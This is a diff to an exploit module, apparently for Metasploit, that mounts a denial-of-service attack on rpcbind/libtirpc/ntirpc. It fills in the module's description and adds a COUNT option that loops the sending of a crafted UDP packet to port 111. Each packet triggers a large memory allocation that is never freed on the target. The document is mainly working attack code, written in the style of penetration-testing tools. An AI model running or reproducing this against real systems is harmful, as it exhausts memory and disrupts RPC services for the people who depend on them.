@@ -12,7 +12,10 @@ def initialize(info={})
12
12
super ( update_info ( info ,
13
13
'Name' => 'RPC DoS targeting *nix rpcbind/libtirpc' ,
14
14
'Description' => %q{
15
- This module XXX.
15
+ This module exploits a vulnerability in certain versions of
16
+ rpcbind, LIBTIRPC, and NTIRPC, allowing an attacker to trigger
17
+ large (and never freed) memory allocations for XDR strings on
18
+ the target.
16
19
} ,
17
20
'Author' =>
18
21
[
@@ -30,7 +33,8 @@ def initialize(info={})
30
33
register_options ( [
31
34
Opt ::RPORT ( 111 ) ,
32
35
OptAddress . new ( 'RHOST' , [ true , 'RPC server target' ] ) ,
33
- OptInt . new ( 'ALLOCSIZE' , [ true , 'Number of bytes to allocate' ] )
36
+ OptInt . new ( 'ALLOCSIZE' , [ true , 'Number of bytes to allocate' ] ) ,
37
+ OptInt . new ( 'COUNT' , [ false , "Number of intervals to loop" , 1 ] )
34
38
] )
35
39
end
36
40
@@ -56,7 +60,11 @@ def run
56
60
pkt << [ datastore [ 'ALLOCSIZE' ] ] . pack ( 'N' ) # Payload
57
61
58
62
s = UDPSocket . new
59
- s . send ( pkt , 0 , datastore [ 'RHOST' ] , datastore [ 'RPORT' ] )
63
+ count = 0
64
+ while count < datastore [ 'COUNT' ] do
65
+ s . send ( pkt , 0 , datastore [ 'RHOST' ] , datastore [ 'RPORT' ] )
66
+ count += 1
67
+ end
60
68
61
69
sleep 1.5
62
70
@@ -67,6 +75,6 @@ def run
67
75
return
68
76
end
69
77
70
- print_good ( "Allocated #{ datastore [ 'ALLOCSIZE' ] } bytes at host #{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } " )
78
+ print_good ( "Completed #{ datastore [ 'COUNT' ] } loop(s) of allocating #{ datastore [ 'ALLOCSIZE' ] } bytes at host #{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } " )
71
79
end
72
80
end
0 commit comments